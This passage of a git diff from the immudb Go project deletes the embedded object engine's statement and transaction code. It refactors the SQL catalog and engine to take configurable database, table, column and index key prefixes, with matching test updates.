params map[string]interface{}) (ntx *ObjectTx, committedTxs []*ObjectTx, err error) { - ntx, ctxs, pendingStmts, err := e.execPreparedStmts(ctx, tx, stmts, params) - if err != nil { - return ntx, ctxs, err - } - - if len(pendingStmts) > 0 { - // a different database was selected - - if e.multidbHandler == nil || ntx != nil { - return ntx, ctxs, fmt.Errorf("%w: all statements should have been executed when not using a multidbHandler", sql.ErrUnexpected) - } - - var opts *sql.TxOptions - - if tx != nil { - opts = tx.opts - } else { - opts = sql.DefaultTxOptions() - } - - ntx, hctxs, err := e.multidbHandler.Exec(ctx, opts, pendingStmts, params) - - return ntx, append(ctxs, hctxs...), err - } - - return ntx, ctxs, nil -} - -func (e *Engine) execPreparedStmts(ctx context.Context, tx *ObjectTx, stmts []Stmt, params map[string]interface{}) (ntx *ObjectTx, committedTxs []*ObjectTx, pendingStmts []Stmt, err error) { - if len(stmts) == 0 { - return nil, nil, stmts, sql.ErrIllegalArguments - } - - nparams, err := normalizeParams(params) - if err != nil { - return nil, nil, stmts, err - } - - currTx := tx - - execStmts := 0 - - for _, stmt := range stmts { - if stmt == nil { - return nil, nil, stmts[execStmts:], sql.ErrIllegalArguments - } - - _, isDBSelectionStmt := stmt.(*UseDatabaseStmt) - - // handle the case when working in non-autocommit mode outside a transaction block - if isDBSelectionStmt && (currTx != nil && !currTx.Closed()) && !currTx.IsExplicitCloseRequired() { - err = currTx.Commit(ctx) - if err == nil { - committedTxs = append(committedTxs, currTx) - } - if err != nil { - return nil, committedTxs, stmts[execStmts:], err - } - } - - if currTx == nil || currTx.Closed() { - var opts *sql.TxOptions - - if currTx != nil { - opts = currTx.opts - } else if tx != nil { - opts = tx.opts - } else { - opts = sql.DefaultTxOptions() - } - - // begin tx with implicit commit - currTx, err = e.NewTx(ctx, opts) - if err != nil { - return nil, committedTxs, stmts[execStmts:], err - } - } - - ntx, err := stmt.execAt(ctx, currTx, nparams) - if err != nil { - currTx.Cancel() - return nil, committedTxs, stmts[execStmts:], err - } - - if !currTx.Closed() && !currTx.IsExplicitCloseRequired() && e.autocommit { - err = currTx.Commit(ctx) - if err != nil { - return nil, committedTxs, stmts[execStmts:], err - } - } - - if currTx.committed { - committedTxs = append(committedTxs, currTx) - } - - currTx = ntx.(*ObjectTx) - - execStmts++ - - if isDBSelectionStmt && e.multidbHandler != nil { - break - } - } - - if currTx != nil && !currTx.Closed() && !currTx.IsExplicitCloseRequired() { - err = currTx.Commit(ctx) - if err != nil { - return nil, committedTxs, stmts[execStmts:], err - } - - committedTxs = append(committedTxs, currTx) - } - - if currTx != nil && currTx.Closed() { - currTx = nil - } - - return currTx, committedTxs, stmts[execStmts:], nil -} - -func (e *Engine) Catalog(ctx context.Context, tx *ObjectTx) (catalog *sql.Catalog, err error) { - qtx := tx - - if qtx == nil { - qtx, err = e.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) - if err != nil { - return nil, err - } - defer qtx.Cancel() - } - - return qtx.Catalog(), nil -} - -func normalizeParams(params map[string]interface{}) (map[string]interface{}, error) { - nparams := make(map[string]interface{}, len(params)) - - for name, value := range params { - nname := strings.ToLower(name) - - _, exists := nparams[nname] - if exists { - return nil, sql.ErrDuplicatedParameters - } - - nparams[nname] = value - } - - return nparams, nil -} - -// // CopyCatalogToTx copies the current sql catalog to the ongoing transaction. -// func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { -// e.mutex.RLock() -// defer e.mutex.RUnlock() - -// catalog := sql.newObjectCatalog() -// err := catalog.addSchemaToTx(e.prefix, tx) -// if err != nil { -// return err -// } - -// return nil -// } diff --git a/embedded/object/engine_test.go b/embedded/object/engine_test.go index 129f62ea1d..798bbb6249 100644 --- a/embedded/object/engine_test.go +++ b/embedded/object/engine_test.go @@ -22,34 +22,38 @@ func TestCreateCollection(t *testing.T) { require.NoError(t, err) defer closeStore(t, st) - engine, err := NewEngine(st, sql.DefaultOptions().WithPrefix(ObjectPrefix)) + opts := sql.DefaultOptions(). + WithPrefix(ObjectPrefix). + WithDatabasePrefix(catalogDatabasePrefix). + WithTablePrefix(catalogTablePrefix). + WithColumnPrefix(catalogColumnPrefix). + WithIndexPrefix(catalogIndexPrefix) + + engine, err := sql.NewEngine(st, opts) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, []Stmt{ - &CreateDatabaseStmt{DB: "db1"}, + _, _, err = engine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{ + &sql.CreateDatabaseStmt{DB: "db1"}, }, nil) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, []Stmt{ - &UseDatabaseStmt{DB: "db1"}, + _, _, err = engine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{ + &sql.UseDatabaseStmt{DB: "db1"}, }, nil) require.NoError(t, err) - _, _, err = engine.Exec( + _, _, err = engine.ExecPreparedStmts( context.Background(), nil, - []Stmt{&CreateCollectionStmt{ - collection: "collection1", - ifNotExists: false, - colsSpec: []*sql.ColSpec{ + []sql.SQLStmt{sql.NewCreateTableStmt( + "collection1", + false, []*sql.ColSpec{ sql.NewColSpec("id", sql.IntegerType, 0, false, false), sql.NewColSpec("name", sql.VarcharType, 50, false, false), - sql.NewColSpec("ts", sql.TimestampType, 0, false, false), - sql.NewColSpec("active", sql.BooleanType, 0, false, false), - sql.NewColSpec("content", sql.BLOBType, 0, false, false), + sql.NewColSpec("encoded_obj", sql.BLOBType, 0, false, false), }, - pkColNames: []string{"id", "name"}, - }}, + []string{"id", "name"}, + )}, nil, ) require.NoError(t, err) diff --git a/embedded/object/statement.go b/embedded/object/statement.go deleted file mode 100644 index 866824cd83..0000000000 --- a/embedded/object/statement.go +++ /dev/null @@ -1,195 +0,0 @@ -package object - -import ( - "context" - "encoding/binary" - "fmt" - - "github.com/codenotary/immudb/embedded/sql" -) - -const ( - nullableFlag byte = 1 << iota - autoIncrementFlag byte = 1 << iota -) - -type UseDatabaseStmt struct { - DB string -} - -func (stmt *UseDatabaseStmt) execAt(ctx context.Context, tx Tx, params map[string]interface{}) (Tx, error) { - if stmt.DB == "" { - return nil, fmt.Errorf("%w: no database name was provided", sql.ErrIllegalArguments) - } - - otx := tx.(*ObjectTx) - - if otx.IsExplicitCloseRequired() { - return nil, fmt.Errorf("%w: database selection can NOT be executed within a transaction block", sql.ErrNonTransactionalStmt) - } - - if otx.engine.multidbHandler != nil { - return otx, otx.engine.multidbHandler.UseDatabase(ctx, stmt.DB) - } - - _, err := otx.catalog.GetDatabaseByName(stmt.DB) - if err != nil { - return nil, err - } - - otx.engine.mutex.Lock() - otx.engine.currentDatabase = stmt.DB - otx.engine.mutex.Unlock() - - return otx, otx.useDatabase(stmt.DB) -} - -type CreateDatabaseStmt struct { - DB string - ifNotExists bool -} - -func (stmt *CreateDatabaseStmt) execAt(ctx context.Context, tx Tx, params map[string]interface{}) (Tx, error) { - otx := tx.(*ObjectTx) - - if otx.IsExplicitCloseRequired() { - return nil, fmt.Errorf("%w: collection creation can not be done within a transaction", sql.ErrNonTransactionalStmt) - } - - if otx.engine.multidbHandler != nil { - return nil, otx.engine.multidbHandler.CreateDatabase(ctx, stmt.DB, stmt.ifNotExists) - } - - id := uint32(len(otx.catalog.Databases()) + 1) - - db, err := otx.catalog.NewDatabase(id, stmt.DB) - if err == sql.ErrDatabaseAlreadyExists && stmt.ifNotExists { - return otx, nil - } - if err != nil { - return nil, err - } - - err = otx.set(sql.MapKey(otx.Prefix(), catalogDatabasePrefix, sql.EncodeID(db.ID())), nil, []byte(stmt.DB)) - if err != nil { - return nil, err - } - - return otx, nil -} - -type CreateCollectionStmt struct { - collection string - ifNotExists bool - colsSpec []*sql.ColSpec - pkColNames []string -} - -func (stmt *CreateCollectionStmt) execAt(ctx context.Context, tx Tx, params map[string]interface{}) (Tx, error) { - otx := tx.(*ObjectTx) - - if otx.currentDB == nil { - return nil, sql.ErrNoDatabaseSelected - } - - if stmt.ifNotExists && otx.currentDB.ExistTable(stmt.collection) { - return tx, nil - } - - table, err := otx.currentDB.NewTable(stmt.collection, stmt.colsSpec) - if err != nil { - return nil, err - } - - // createIndexStmt := &sql.CreateIndexStmt{unique: true, table: table.name, cols: stmt.pkColNames} - // _, err = createIndexStmt.execAt(ctx, tx, params) - // if err != nil { - // return nil, err - // } - - for _, col := range table.Cols() { - if col.IsAutoIncremental() { - tcols := table.PrimaryIndex().Cols() - if len(tcols) > 1 || col.ID() != tcols[0].ID() { - return nil, sql.ErrLimitedAutoIncrement - } - } - - err := persistColumn(col, otx) - if err != nil { - return nil, err - } - } - - mappedKey := sql.MapKey(otx.Prefix(), catalogTablePrefix, sql.EncodeID(otx.currentDB.ID()), sql.EncodeID(table.ID())) - - err = otx.set(mappedKey, nil, []byte(table.Name())) - if err != nil { - return nil, err - } - - return otx, nil -} - -func persistColumn(col *sql.Column, tx *ObjectTx) error { - //{auto_incremental | nullable}{maxLen}{colNAME}) - v := make([]byte, 1+4+len(col.Name())) - - if col.IsAutoIncremental() { - v[0] = v[0] | autoIncrementFlag - } - - if col.IsNullable() { - v[0] = v[0] | nullableFlag - } - - binary.BigEndian.PutUint32(v[1:], uint32(col.MaxLen())) - - copy(v[5:], []byte(col.Name())) - - mappedKey := sql.MapKey( - tx.Prefix(), - catalogColumnPrefix, - sql.EncodeID(col.Table().Database().ID()), - sql.EncodeID(col.Table().ID()), - sql.EncodeID(col.ID()), - []byte(col.Type()), - ) - - return tx.set(mappedKey, nil, v) -} - -type tableRef struct { - db string - table string -} - -func (stmt *tableRef) referencedTable(tx *ObjectTx) (*sql.Table, error) { - if tx.currentDB == nil { - return nil, sql.ErrNoDatabaseSelected - } - - if stmt.db != "" && stmt.db != tx.currentDB.Name() { - return nil, - fmt.Errorf( - "%w: statements must only involve current selected database '%s' but '%s' was referenced", - sql.ErrNoSupported, tx.currentDB.Name(), stmt.db, - ) - } - - table, err := tx.currentDB.GetTableByName(stmt.table) - if err != nil { - return nil, err - } - - return table, nil -} - -type UpsertIntoStmt struct { - tableRef *tableRef - sql.UpsertIntoStmt -} - -type RowSpec struct { - Values []sql.ValueExp -} diff --git a/embedded/object/tx.go b/embedded/object/tx.go deleted file mode 100644 index e412d57cb8..0000000000 --- a/embedded/object/tx.go +++ /dev/null @@ -1,163 +0,0 @@ -/* -Copyright 2022 Codenotary Inc. All rights reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package object - -import ( - "context" - "errors" - "time" - - "github.com/codenotary/immudb/embedded/sql" - "github.com/codenotary/immudb/embedded/store" -) - -// Tx is a database transaction interface - it holds the primary methods used while using a transaction -type Tx interface { - Catalog() *sql.Catalog -} - -// ObjectTx (no-thread safe) represents an interactive or incremental transaction with support of RYOW -type ObjectTx struct { - engine *Engine - - opts *sql.TxOptions - - tx *store.OngoingTx - - currentDB *sql.Database - catalog *sql.Catalog // in-mem catalog - - updatedRows int - lastInsertedPKs map[string]int64 // last inserted PK by table name - firstInsertedPKs map[string]int64 // first inserted PK by table name - - txHeader *store.TxHeader // header is set once tx is committed - - committed bool - closed bool -} - -func (otx *ObjectTx) Catalog() *sql.Catalog { - return otx.catalog -} - -func (otx *ObjectTx) IsExplicitCloseRequired() bool { - return otx.opts.ExplicitClose -} - -func (otx *ObjectTx) RequireExplicitClose() error { - if otx.updatedRows != 0 { - return store.ErrIllegalState - } - - otx.opts.ExplicitClose = true - - return nil -} - -func (otx *ObjectTx) useDatabase(dbName string) error { - db, err := otx.catalog.GetDatabaseByName(dbName) - if err != nil { - return err - } - - otx.currentDB = db - - return nil -} - -func (otx *ObjectTx) Database() *sql.Database { - return otx.currentDB -} - -func (otx *ObjectTx) Timestamp() time.Time { - return otx.tx.Timestamp() -} - -func (otx *ObjectTx) UpdatedRows() int { - return otx.updatedRows -} - -func (otx *ObjectTx) LastInsertedPKs() map[string]int64 { - return otx.lastInsertedPKs -} - -func (otx *ObjectTx) FirstInsertedPKs() map[string]int64 { - return otx.firstInsertedPKs -} - -func (otx *ObjectTx) TxHeader() *store.TxHeader { - return otx.txHeader -} - -func (otx *ObjectTx) Prefix() []byte { - return otx.engine.prefix -} - -func (otx *ObjectTx) distinctLimit() int { - return otx.engine.distinctLimit -} - -func (otx *ObjectTx) newKeyReader(rSpec store.KeyReaderSpec) (store.KeyReader, error) { - return otx.tx.NewKeyReader(rSpec) -} - -func (otx *ObjectTx) get(key []byte) (store.ValueRef, error) { - return otx.tx.Get(key) -} - -func (otx *ObjectTx) set(key []byte, metadata *store.KVMetadata, value []byte) error { - return otx.tx.Set(key, metadata, value) -} - -func (otx *ObjectTx) existKeyWith(prefix, neq []byte) (bool, error) { - _, _, err := otx.tx.GetWithPrefix(prefix, neq) - if errors.Is(err, store.ErrKeyNotFound) { - return false, nil - } - - return err == nil, err -} - -func (otx *ObjectTx) Cancel() error { - if otx.closed { - return sql.ErrAlreadyClosed - } - - otx.closed = true - - return otx.tx.Cancel() -} - -func (otx *ObjectTx) Commit(ctx context.Context) error { - otx.committed = true - otx.closed = true - - // no need to wait for indexing to be up to date during commit phase - hdr, err := otx.tx.AsyncCommit(ctx) - if err != nil && err != store.ErrorNoEntriesProvided { - return err - } - - otx.txHeader = hdr - - return nil -} - -func (otx *ObjectTx) Closed() bool { - return otx.closed -} diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index b85635071e..94d0a1d38d 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -63,6 +63,7 @@ type Database struct { // prefixes tablePrefix string columnPrefix string + indexPrefix string } type Table struct { @@ -145,6 +146,7 @@ func (c *Catalog) newDatabase(id uint32, name string) (*Database, error) { tablesByName: map[string]*Table{}, tablePrefix: c.tablePrefix, columnPrefix: c.columnPrefix, + indexPrefix: c.indexPrefix, } c.dbsByID[db.id] = db @@ -574,13 +576,13 @@ func validMaxLenForType(maxLen int, sqlType SQLValueType) bool { return maxLen >= 0 } -func (c *Catalog) Load(sqlPrefix []byte, tx *store.OngoingTx) error { - return c.load(sqlPrefix, tx) +func (c *Catalog) Load(prefix []byte, tx *store.OngoingTx) error { + return c.load(prefix, tx) } -func (c *Catalog) load(sqlPrefix []byte, tx *store.OngoingTx) error { +func (c *Catalog) load(prefix []byte, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, c.databasePrefix), + Prefix: mapKey(prefix, c.databasePrefix), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -599,7 +601,7 @@ func (c *Catalog) load(sqlPrefix []byte, tx *store.OngoingTx) error { return err } - id, err := unmapDatabaseID(sqlPrefix, mkey, c.databasePrefix) + id, err := unmapDatabaseID(prefix, mkey, c.databasePrefix) if err != nil { return err } @@ -614,7 +616,7 @@ func (c *Catalog) load(sqlPrefix []byte, tx *store.OngoingTx) error { return err } - err = db.loadTables(sqlPrefix, c.indexPrefix, tx) + err = db.loadTables(prefix, c.indexPrefix, tx) if err != nil { return err } @@ -623,9 +625,9 @@ func (c *Catalog) load(sqlPrefix []byte, tx *store.OngoingTx) error { return nil } -func (db *Database) loadTables(sqlPrefix []byte, indexPrefix string, tx *store.OngoingTx) error { +func (db *Database) loadTables(prefix []byte, indexPrefix string, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, db.tablePrefix, EncodeID(db.id)), + Prefix: mapKey(prefix, db.tablePrefix, EncodeID(db.id)), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -644,7 +646,7 @@ func (db *Database) loadTables(sqlPrefix []byte, indexPrefix string, tx *store.O return err } - dbID, tableID, err := unmapTableID(sqlPrefix, mkey, db.tablePrefix) + dbID, tableID, err := unmapTableID(prefix, mkey, db.tablePrefix) if err != nil { return err } @@ -653,7 +655,7 @@ func (db *Database) loadTables(sqlPrefix []byte, indexPrefix string, tx *store.O return ErrCorruptedData } - colSpecs, err := loadColSpecs(db.id, tableID, tx, sqlPrefix, db.columnPrefix) + colSpecs, err := loadColSpecs(db.id, tableID, tx, prefix, db.columnPrefix) if err != nil { return err } @@ -672,13 +674,13 @@ func (db *Database) loadTables(sqlPrefix []byte, indexPrefix string, tx *store.O return ErrCorruptedData } - err = table.loadIndexes(sqlPrefix, indexPrefix, tx) + err = table.loadIndexes(prefix, indexPrefix, tx) if err != nil { return err } if table.autoIncrementPK { - encMaxPK, err := loadMaxPK(sqlPrefix, tx, table) + encMaxPK, err := loadMaxPK(prefix, tx, table) if err == store.ErrNoMoreEntries { continue } @@ -704,9 +706,9 @@ func (db *Database) loadTables(sqlPrefix []byte, indexPrefix string, tx *store.O return nil } -func loadMaxPK(sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) { +func loadMaxPK(prefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) { pkReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, PIndexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(PKIndexID)), + Prefix: mapKey(prefix, PIndexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(PKIndexID)), DescOrder: true, } @@ -721,11 +723,11 @@ func loadMaxPK(sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, err return nil, err } - return unmapIndexEntry(table.primaryIndex, sqlPrefix, mkey) + return unmapIndexEntry(table.primaryIndex, prefix, mkey) } -func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte, columnPrefix string) (specs []*ColSpec, err error) { - initialKey := mapKey(sqlPrefix, columnPrefix, EncodeID(dbID), EncodeID(tableID)) +func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, prefix []byte, columnPrefix string) (specs []*ColSpec, err error) { + initialKey := mapKey(prefix, columnPrefix, EncodeID(dbID), EncodeID(tableID)) dbReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -749,7 +751,7 @@ func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte, c return nil, err } - mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey, columnPrefix) + mdbID, mtableID, colID, colType, err := unmapColSpec(prefix, mkey, columnPrefix) if err != nil { return nil, err } @@ -784,8 +786,8 @@ func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte, c return } -func (table *Table) loadIndexes(sqlPrefix []byte, indexPrefix string, tx *store.OngoingTx) error { - initialKey := mapKey(sqlPrefix, indexPrefix, EncodeID(table.db.id), EncodeID(table.id)) +func (table *Table) loadIndexes(prefix []byte, indexPrefix string, tx *store.OngoingTx) error { + initialKey := mapKey(prefix, indexPrefix, EncodeID(table.db.id), EncodeID(table.id)) idxReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -807,7 +809,7 @@ func (table *Table) loadIndexes(sqlPrefix []byte, indexPrefix string, tx *store. return err } - dbID, tableID, indexID, err := unmapIndex(sqlPrefix, mkey) + dbID, tableID, indexID, err := unmapIndex(prefix, mkey, indexPrefix) if err != nil { return err } @@ -927,8 +929,8 @@ func asType(t string) (SQLValueType, error) { return t, ErrCorruptedData } -func unmapIndex(sqlPrefix, mkey []byte) (dbID, tableID, indexID uint32, err error) { - encID, err := trimPrefix(sqlPrefix, mkey, []byte(catalogIndexPrefix)) +func unmapIndex(prefix, mkey []byte, indexPrefix string) (dbID, tableID, indexID uint32, err error) { + encID, err := trimPrefix(prefix, mkey, []byte(indexPrefix)) if err != nil { return 0, 0, 0, err } @@ -944,12 +946,12 @@ func unmapIndex(sqlPrefix, mkey []byte) (dbID, tableID, indexID uint32, err erro return } -func unmapIndexEntry(index *Index, sqlPrefix, mkey []byte) (encPKVals []byte, err error) { +func unmapIndexEntry(index *Index, prefix, mkey []byte) (encPKVals []byte, err error) { if index == nil { return nil, ErrIllegalArguments } - enc, err := trimPrefix(sqlPrefix, mkey, []byte(index.prefix())) + enc, err := trimPrefix(prefix, mkey, []byte(index.prefix())) if err != nil { return nil, ErrCorruptedData } diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index b95176dd42..255858a4d6 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -102,6 +102,12 @@ type Engine struct { distinctLimit int autocommit bool + // prefixes + databasePrefix string + tablePrefix string + columnPrefix string + indexPrefix string + currentDatabase string multidbHandler MultiDBHandler @@ -131,6 +137,11 @@ func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { prefix: make([]byte, len(opts.prefix)), distinctLimit: opts.distinctLimit, autocommit: opts.autocommit, + + databasePrefix: opts.databasePrefix, + tablePrefix: opts.tablePrefix, + columnPrefix: opts.columnPrefix, + indexPrefix: opts.indexPrefix, } copy(e.prefix, opts.prefix) @@ -202,7 +213,7 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { return nil, err } - catalog := newSQLCatalog() + catalog := NewCatalog(e.databasePrefix, e.tablePrefix, e.columnPrefix, e.indexPrefix) err = catalog.load(e.prefix, tx) if err != nil { @@ -493,7 +504,7 @@ func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error e.mutex.RLock() defer e.mutex.RUnlock() - catalog := newSQLCatalog() + catalog := NewCatalog(e.databasePrefix, e.tablePrefix, e.columnPrefix, e.indexPrefix) err := catalog.addSchemaToTx(e.prefix, tx) if err != nil { return err @@ -503,8 +514,8 @@ func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error } // addSchemaToTx adds the schema to the ongoing transaction. -func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { - initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(t.db.id), EncodeID(t.id)) +func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx, indexPrefix string) error { + initialKey := mapKey(sqlPrefix, indexPrefix, EncodeID(t.db.id), EncodeID(t.id)) idxReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -526,7 +537,7 @@ func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { return err } - dbID, tableID, _, err := unmapIndex(sqlPrefix, mkey) + dbID, tableID, _, err := unmapIndex(sqlPrefix, mkey, indexPrefix) if err != nil { return err } @@ -612,7 +623,7 @@ func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { } // read index specs into tx - err = table.addIndexesToTx(sqlPrefix, tx) + err = table.addIndexesToTx(sqlPrefix, tx, d.indexPrefix) if err != nil { return err } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 8a790f88d2..e7709a9234 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -4369,7 +4369,7 @@ func TestUnmapColSpec(t *testing.T) { func TestUnmapIndex(t *testing.T) { e := Engine{prefix: []byte("e-prefix.")} - dbID, tableID, colID, err := unmapIndex(e.prefix, nil) + dbID, tableID, colID, err := unmapIndex(e.prefix, nil, catalogIndexPrefix) require.ErrorIs(t, err, ErrIllegalMappedKey) require.Zero(t, dbID) require.Zero(t, tableID) @@ -4377,7 +4377,7 @@ func TestUnmapIndex(t *testing.T) { dbID, tableID, colID, err = unmapIndex(e.prefix, []byte( "e-prefix.CTL.INDEX.a", - )) + ), catalogIndexPrefix) require.ErrorIs(t, err, ErrCorruptedData) require.Zero(t, dbID) require.Zero(t, tableID) @@ -4388,7 +4388,7 @@ func TestUnmapIndex(t *testing.T) { 0x01, 0x02, 0x03, 0x04, 0x11, 0x12, 0x13, 0x14, 0x21, 0x22, 0x23, 0x24, - )) + ), catalogIndexPrefix) require.NoError(t, err) require.EqualValues(t, 0x01020304, dbID) diff --git a/embedded/sql/options.go b/embedded/sql/options.go index ac0d023c34..be02bed9ce 100644 --- a/embedded/sql/options.go +++ b/embedded/sql/options.go @@ -28,11 +28,21 @@ type Options struct { prefix []byte distinctLimit int autocommit bool + + // prefixes + databasePrefix string + tablePrefix string + columnPrefix string + indexPrefix string } func DefaultOptions() *Options { return &Options{ - distinctLimit: defaultDistinctLimit, + distinctLimit: defaultDistinctLimit, + databasePrefix: catalogDatabasePrefix, + tablePrefix: catalogTablePrefix, + columnPrefix: catalogColumnPrefix, + indexPrefix: catalogIndexPrefix, } } @@ -74,3 +84,23 @@ func (opts *Options) GetDistinctLimit() int { func (opts *Options) GetAutoCommit() bool { return opts.autocommit } + +func (opts *Options) WithDatabasePrefix(databasePrefix string) *Options { + opts.databasePrefix = databasePrefix + return opts +} + +func (opts *Options) WithTablePrefix(tablePrefix string) *Options { + opts.tablePrefix = tablePrefix + return opts +} + +func (opts *Options) WithColumnPrefix(columnPrefix string) *Options { + opts.columnPrefix = columnPrefix + return opts +} + +func (opts *Options) WithIndexPrefix(indexPrefix string) *Options { + opts.indexPrefix = indexPrefix + return opts +} diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index 7b7c6dfc03..d5c7c997ec 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -24,6 +24,18 @@ import ( "github.com/codenotary/immudb/embedded/store" ) +func NewSQLTx(engine *Engine, opts *TxOptions, tx *store.OngoingTx, catalog *Catalog, currentDB *Database) *SQLTx { + return &SQLTx{ + engine: engine, + opts: opts, + tx: tx, + catalog: catalog, + currentDB: currentDB, + lastInsertedPKs: make(map[string]int64), + firstInsertedPKs: make(map[string]int64), + } +} + // SQLTx (no-thread safe) represents an interactive or incremental transaction with support of RYOW type SQLTx struct { engine *Engine diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 87d9cd5e2a..91bf039b25 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -213,7 +213,7 @@ func (stmt *CreateDatabaseStmt) execAt(ctx context.Context, tx *SQLTx, params ma return nil, err } - err = tx.set(mapKey(tx.sqlPrefix(), catalogDatabasePrefix, EncodeID(db.id)), nil, []byte(stmt.DB)) + err = tx.set(mapKey(tx.sqlPrefix(), tx.engine.databasePrefix, EncodeID(db.id)), nil, []byte(stmt.DB)) if err != nil { return nil, err } @@ -284,7 +284,7 @@ func persistColumn(col *Column, tx *SQLTx) error { mappedKey := mapKey( tx.sqlPrefix(), - catalogColumnPrefix, + tx.engine.columnPrefix, EncodeID(col.table.db.id), EncodeID(col.table.id), EncodeID(col.id), @@ -294,6 +294,10 @@ func persistColumn(col *Column, tx *SQLTx) error { return tx.set(mappedKey, nil, v) } +func NewCreateTableStmt(table string, ifNotExists bool, colsSpec []*ColSpec, pkColNames []string) *CreateTableStmt { + return &CreateTableStmt{table: table, ifNotExists: ifNotExists, colsSpec: colsSpec, pkColNames: pkColNames} +} + type CreateTableStmt struct { table string ifNotExists bool @@ -338,7 +342,7 @@ func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[s } } - mappedKey := mapKey(tx.sqlPrefix(), catalogTablePrefix, EncodeID(tx.currentDB.id), EncodeID(table.id)) + mappedKey := mapKey(tx.sqlPrefix(), tx.engine.tablePrefix, EncodeID(tx.currentDB.id), EncodeID(table.id)) err = tx.set(mappedKey, nil, []byte(table.name)) if err != nil { @@ -444,7 +448,7 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s copy(encodedValues[1+i*colSpecLen:], EncodeID(col.id)) } - mappedKey := mapKey(tx.sqlPrefix(), catalogIndexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(index.id)) + mappedKey := mapKey(tx.sqlPrefix(), tx.engine.indexPrefix, EncodeID(table.db.id), EncodeID(table.id), EncodeID(index.id)) err = tx.set(mappedKey, nil, encodedValues) if err != nil { diff --git a/pkg/database/database.go b/pkg/database/database.go index 7ed56204a8..4be5f42d0a 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -151,13 +151,10 @@ type db struct { st *store.ImmuStore sqlEngine *sql.Engine + objectEngine *sql.Engine sqlInitCancel chan (struct{}) sqlInit sync.WaitGroup - objectEngine *object.Engine - objectInitCancel chan (struct{}) - objectInit sync.WaitGroup - mutex *instrumentedRWMutex closingMutex sync.Mutex @@ -217,7 +214,7 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l return nil, err } - dbi.objectEngine, err = object.NewEngine(dbi.st, sql.DefaultOptions().WithPrefix(object.ObjectPrefix)) + dbi.objectEngine, err = sql.NewEngine(dbi.st, sql.DefaultOptions().WithPrefix(object.ObjectPrefix)) if err != nil { return nil, err } @@ -240,9 +237,6 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l dbi.sqlInitCancel = make(chan struct{}) dbi.sqlInit.Add(1) - dbi.objectInitCancel = make(chan struct{}) - dbi.objectInit.Add(1) - go func() { defer dbi.sqlInit.Done() @@ -257,23 +251,17 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l dbi.sqlEngine.SetMultiDBHandler(multidbHandler) dbi.Logger.Infof("SQL Engine ready for database '%s' {replica = %v}", dbName, op.replica) - }() - - go func() { - defer dbi.objectInit.Done() dbi.Logger.Infof("Loading Object Engine for database '%s' {replica = %v}...", dbName, op.replica) - err := dbi.initObjectEngine(context.Background()) + err = dbi.initObjectEngine(context.Background()) if err != nil { dbi.Logger.Errorf("Unable to load Object Engine for database '%s' {replica = %v}. %v", dbName, op.replica, err) return } - // TODO: object engine should be able to handle multiple databases - // 